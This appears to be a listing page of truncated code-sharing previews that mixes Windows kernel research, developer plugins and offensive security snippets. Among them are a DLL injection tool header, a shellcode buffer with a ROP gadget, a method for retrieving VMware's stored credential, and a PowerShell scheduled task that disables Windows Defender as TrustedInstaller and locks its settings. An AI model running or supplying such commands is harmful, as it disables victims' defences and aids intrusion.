SyscallProvider is a feature available from Windows 11 22H2, that allows for inline hooking of syscalls.
This unfinished research was done on Windows 11 22H2. The feature is fully undocumented at the moment and it looks like it's locked to Microsoft-signed drivers.
All of the information here was gathered by manual reverse engineering of securekernel.exe, skci.dll and ntoskrnl.exe.
The kernel exports three functions to work with the new feature: PsRegisterSyscallProvider, PsQuerySyscallProviderInformation, PsUnregisterSyscallProvider.
This writeup will explore how this feature is initialized, how it works internally, and how to interact with it and use it.
| #include <iostream> | |
| #include <sys/stat.h> | |
| #include <windows.h> | |
| #include "FileOpLock.h" | |
| #include <windows.h> | |
| #include <tlhelp32.h> | |
| #include <iostream> | |
| #include <string> | |
| bool InjectDll(DWORD processId, const wchar_t* dllPath); |
| # A plugin that registers a hotkey (Shift+W) to close pseudocode windows. | |
| # | |
| # HOW TO INSTALL AND USE: | |
| # 1. Save this file as "close_pseudocode_plugin.py". | |
| # 2. Find your IDA plugins directory. | |
| # 3. Copy the "close_pseudocode_plugin.py" and "ida_plugin.json" file into that directory. | |
| # 4. Restart IDA Pro. The hotkey will now be active. | |
| # 5. Press Shift+W anytime to run the script. | |
| import ida_kernwin |
When creating an encrypted VM, VMware Workstation gives you the option to remember the password. It does this by storing the password in the Windows Credential Manager.
VMware does not provide a way to retrieve this stored password, but it can be accessed via the Win32 CredReadW API function.
There are a number of PowerShell projects including PowerShell Credential Manager which provide access to this API, but in testing I found they were unable to correctly display the VMware password.
This PowerShell example has been tested using Windows PowerShell (v5.1) and PowerShell (v7) using VMwa
| #include <stdlib.h> | |
| #include <stdio.h> | |
| #include <pthread/pthread.h> | |
| #include <mach/mach.h> | |
| struct ool_msg { | |
| mach_msg_header_t hdr; | |
| mach_msg_body_t body; | |
| mach_msg_ool_ports_descriptor_t ool_ports[]; | |
| }; |
| curl http://api.mainnet-beta.solana.com -X POST -H "Content-Type: application/json" -d '{ | |
| "jsonrpc": "2.0", | |
| "id": 1, | |
| "method": "getProgramAccounts", | |
| "params": [ | |
| "cndyAnrLdpjq1Ssp1z8xxDsB8dxe7u4HL5Nxi2K5WXZ", | |
| { | |
| "encoding": "jsonParsed", | |
| "filters": [ ] | |
| } |
| #include <Windows.h> | |
| // example shellcode | |
| // make sure to have 8 reserved bytes for 64-bit ret | |
| // gadget to rop into the actual shellcode | |
| CHAR shellcode[] = { | |
| // 8 bytes here for jmp loop gadget | |
| 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, | |
| // actual shellcode starts here | |
| 0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA, |
| $cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)' | |
| $a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline | |
| Register-ScheduledTask -TaskName 'TestTask' -Action $a | |
| $svc = New-Object -ComObject 'Schedule.Service' | |
| $svc.Connect() | |
| $user = 'NT SERVICE\TrustedInstaller' | |
| $folder = $svc.GetFolder('\') |
This is a simple Tailwind plugin to expose all of Tailwind's colors, including any custom ones, as custom css properties on the :root element.
There are a couple of main reasons this is helpful:
- You can reference all of Tailwind's colors—including any custom ones you define—from handwritten CSS code.
- You can define all of your colors within the Tailwind configuration, and access the final values programmatically, which isn't possible if you did it the other way around: referencing custom CSS variables (defined in CSS code) from your Tailwind config.
See the Tailwind Plugins for more info on plugins.
| #!/usr/bin/env python | |
| ''' | |
| This has some pretty gross hacks in it | |
| But gives a general idea what it is like to write a 2to3 fixer | |
| Basically run like this: | |
| ida2to3.py /path/to/your/script /path/to/idc_bc695.py | |
| Give it a once over to make sure it didn't break too much, then: |